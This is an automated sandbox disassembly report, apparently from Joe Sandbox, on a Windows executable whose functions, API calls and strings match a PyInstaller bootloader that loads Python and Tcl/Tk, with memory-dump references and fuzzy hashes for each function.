Tcl_NewByteArrayObj, xrefs: 00007FF7FF587AF9, 00007FF7FF587B1B
Tcl_GetString, xrefs: 00007FF7FF587A9D, 00007FF7FF587ABF
Tcl_MutexUnlock, xrefs: 00007FF7FF5878D1, 00007FF7FF5878F3
Tcl_Alloc, xrefs: 00007FF7FF587C0D, 00007FF7FF587C2F
Tcl_FinalizeThread, xrefs: 00007FF7FF5877BD, 00007FF7FF5877DF
Tcl_EvalEx, xrefs: 00007FF7FF587BB1, 00007FF7FF587BD3
Tcl_EvalObjv, xrefs: 00007FF7FF587BDF, 00007FF7FF587C01
Failed to get address for %hs, xrefs: 00007FF7FF5876E8
Tcl_CreateInterp, xrefs: 00007FF7FF58770B, 00007FF7FF58772D
Tcl_MutexFinalize, xrefs: 00007FF7FF5878FF, 00007FF7FF587921
Tcl_ConditionNotify, xrefs: 00007FF7FF58795B, 00007FF7FF58797D
Tk_Init, xrefs: 00007FF7FF587C69, 00007FF7FF587C8B
Tcl_EvalFile, xrefs: 00007FF7FF587B83, 00007FF7FF587BA5
Tcl_ConditionFinalize, xrefs: 00007FF7FF58792D, 00007FF7FF58794F
Tcl_JoinThread, xrefs: 00007FF7FF587875, 00007FF7FF587897
Tcl_GetVar2, xrefs: 00007FF7FF587A13, 00007FF7FF587A35
Tcl_NewStringObj, xrefs: 00007FF7FF587ACB, 00007FF7FF587AED
Tcl_GetObjResult, xrefs: 00007FF7FF587B55, 00007FF7FF587B77
GetProcAddress, xrefs: 00007FF7FF5876EF
Tcl_CreateObjCommand, xrefs: 00007FF7FF587A6F, 00007FF7FF587A91
Tcl_SetVar2, xrefs: 00007FF7FF587A41, 00007FF7FF587A63
Tcl_SetVar2Ex, xrefs: 00007FF7FF587B27, 00007FF7FF587B49
Tcl_ThreadQueueEvent, xrefs: 00007FF7FF5879B7, 00007FF7FF5879D9
Tcl_Init, xrefs: 00007FF7FF5876C0, 00007FF7FF5876DF
Tcl_ThreadAlert, xrefs: 00007FF7FF5879E5, 00007FF7FF587A07
Tcl_MutexLock, xrefs: 00007FF7FF5878A3, 00007FF7FF5878C5
Tcl_GetCurrentThread, xrefs: 00007FF7FF587847, 00007FF7FF587869
Tcl_CreateThread, xrefs: 00007FF7FF587819, 00007FF7FF58783B
Tk_GetNumMainWindows, xrefs: 00007FF7FF587C97, 00007FF7FF587CB9

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 0444685bfb9bbad97c277504d2f2ae55207c9f8b04a974173d826a585a9dc325
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 69027B24A4EB87A1EB14BB65B8105F4AAA1BF05755BD41235D87E032E0FF7CB568C2F0

Function 00007FF7FF5881C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7FF5888A7,?,?,00000000,00007FF7FF583CBB), ref: 00007FF7FF58821C

Part of subcall function 00007FF7FF582810: MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

%.*s, xrefs: 00007FF7FF5882FC
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7FF58828D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7FF5881F3
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7FF5882C9
\, xrefs: 00007FF7FF588251
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7FF588230
CreateDirectory, xrefs: 00007FF7FF58836C
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7FF588363

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: c840423aa0d0a90424b34485ed5f33c9943444137dfb87d24c9494e46243a34a
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: DC519411A19AC291FB50BB25E8516FAE291FF94781FC84231E93F876D5EE2CE504C7E0

Function 00007FF7FF582180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7FF5821AB
SelectObject.GDI32 ref: 00007FF7FF5821F2
DrawTextW.USER32 ref: 00007FF7FF582215
SelectObject.GDI32 ref: 00007FF7FF58222B
ReleaseDC.USER32 ref: 00007FF7FF58223B
MoveWindow.USER32 ref: 00007FF7FF58228B
MoveWindow.USER32 ref: 00007FF7FF5822CB
MoveWindow.USER32 ref: 00007FF7FF58231E
MoveWindow.USER32 ref: 00007FF7FF582366

Strings

P%, xrefs: 00007FF7FF5821FF

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 5208bd13e88c9471ebb121d1a79eb7c18ec6bb839ce31eb62f93fd72a425a48f
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 2A51D626604BE186D7249F26A4181FAFBA1F798B61F404225EBEF43694DF3CD055DB20

Function 00007FF7FF5880B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7FF5880EF
GetWindowLongPtrW.USER32 ref: 00007FF7FF58816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7FF588182
GetLastError.KERNEL32 ref: 00007FF7FF58818C
SetWindowLongPtrW.USER32 ref: 00007FF7FF5881A3

Strings

Needs to remove its temporary files., xrefs: 00007FF7FF588175

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: a689ae1f0651379f4a7ca02aaceeab5828097c6693eed5471cac9fc214f9df41
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: E221B725B09AC282E7416B7AA8441B9E751FF88B91FD84331DE3D473E4DE2CD5A1C3A1

Function 00007FF7FF596300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5969CC

Strings

p, xrefs: 00007FF7FF5963F5
-, xrefs: 00007FF7FF5963D9
:, xrefs: 00007FF7FF5964FC
p, xrefs: 00007FF7FF59646D
f, xrefs: 00007FF7FF596465

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 1f306e519a96028b74d20d62fd11342280a941ce0d22d7ee19ee4a040a80e00d
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 58126D62A0C1C386FB38BB14D1546F9B695FB41750FD44235E6BA47AC4DF3CE9888BA0

Function 00007FF7FF591038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF591078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF591440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5916DF

Strings

f, xrefs: 00007FF7FF5912C5
p, xrefs: 00007FF7FF59111D
p, xrefs: 00007FF7FF591182
f, xrefs: 00007FF7FF591110
f, xrefs: 00007FF7FF59117A

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: ee94746ab76c09dc172229fd4a4af167e040987f4deffd1534f6486bc1e4e9cf
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 03125022E0C1E386FF38BA15E0546F9E661EB40754FD84235E6B947AC4DF7CE4808BA4

Function 00007FF7FF581050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF581098
malloc, xrefs: 00007FF7FF58110F
fseek, xrefs: 00007FF7FF5810D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5811F6
fread, xrefs: 00007FF7FF5811FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7FF581108
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5810CC

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: cac4820a7b744c2a3ed9884ecbea95852d55726b30acd907294baaf881276d8e
Instruction ID: 130b96ae9817b0e558ee9e765f441cb743f971aefdf0deaf4aa8a81fee3a9b7f
Opcode Fuzzy Hash: cac4820a7b744c2a3ed9884ecbea95852d55726b30acd907294baaf881276d8e
Instruction Fuzzy Hash: 80415721A0869286EB14FB12A8406FAE794BF45B84FC44632ED7D077D6DE3CE546C7E0

Function 00007FF7FF581470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF58149F
malloc, xrefs: 00007FF7FF58151F
fseek, xrefs: 00007FF7FF5814E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5815DF
fread, xrefs: 00007FF7FF5815E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7FF581518
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5814DE

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 36a1ab3064973414bc50407d7382ece4e743d8df21bb13a2de201f3127f22220
Instruction ID: 5b6b33ed697c359332aefdb7fbe7964c5e1acf495db062e22284dca0a21d8ac2
Opcode Fuzzy Hash: 36a1ab3064973414bc50407d7382ece4e743d8df21bb13a2de201f3127f22220
Instruction Fuzzy Hash: EC413922A086C295EB10BB22A4405F9A390BF45794FC44A32ED7D07BE5DE3CE555CBE0

Function 00007FF7FF58EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7FF58EAD5

Part of subcall function 00007FF7FF58FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF7FF58FA6F
Part of subcall function 00007FF7FF58FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7FF58FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7FF58EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7FF58EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7FF58EF08

Strings

csm, xrefs: 00007FF7FF58EAEF
csm, xrefs: 00007FF7FF58EBD0
csm, xrefs: 00007FF7FF58EB56

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: c0b18e7f5c9e2c966aeb331c1505eb08ddfd7a0d8cbffe6cc55aafa00969d228
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 0AD17C32A0879187EB20ABA5D4403EDB7B0FB45798F900235EA6D57BD6DF38E484C790

Function 00007FF7FF582C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
MessageBoxW.USER32 ref: 00007FF7FF582D99

Strings

%ls: , xrefs: 00007FF7FF582D22
Error, xrefs: 00007FF7FF582D8C
[PYI-%d:ERROR] , xrefs: 00007FF7FF582CA6
<FormatMessageW failed.>, xrefs: 00007FF7FF582D70

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 652bea952ee70fcb8e0ddebb2e345548fb152ccc6124e73bdbcaf7afb49e76ea
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 3031F822708A8152E720BB25B8146EBAA91BF847C8F800235EF6D937D9DF3CD516C390

Function 00007FF7FF58DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDBD
GetLastError.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DE63
GetProcAddress.KERNEL32(?,?,?,00007FF7FF58DFEA,?,?,?,00007FF7FF58DCDC,?,?,?,00007FF7FF58D8D9), ref: 00007FF7FF58DE6F

Strings

api-ms-, xrefs: 00007FF7FF58DDDD

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: 034e6306d75accbdad8fbccfff273b72e78dc3c04545962a54b6a043a30d2287
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: FC316E21B1A68291EF52AB12A8005B5A7D4FF58BA0FD94635ED3D073D4EF3CE458C2A0

Function 00007FF7FF586350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Failed to load Python DLL '%ls'., xrefs: 00007FF7FF586497
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7FF586446
LoadLibrary, xrefs: 00007FF7FF58649E
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7FF5863B7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7FF5863F7
ucrtbase.dll, xrefs: 00007FF7FF5863CD

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: f91ec75b9c3450c0b2a59517a70b53743fc71900d43145115887b6c67efab9cd
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: 0F415261A19AC791EB11FB21E4582E9A365FB44344FD00232EA7D436D6EF3CE615C7E0

Function 00007FF7FF582A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7FF58351A,?,00000000,00007FF7FF583F23), ref: 00007FF7FF582AA0

Strings

0, xrefs: 00007FF7FF582B16
Warning, xrefs: 00007FF7FF582B1E
[PYI-%d:%s] , xrefs: 00007FF7FF582AA8
Warning [ANSI Fallback], xrefs: 00007FF7FF582B0F
WARNING, xrefs: 00007FF7FF582AAF

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
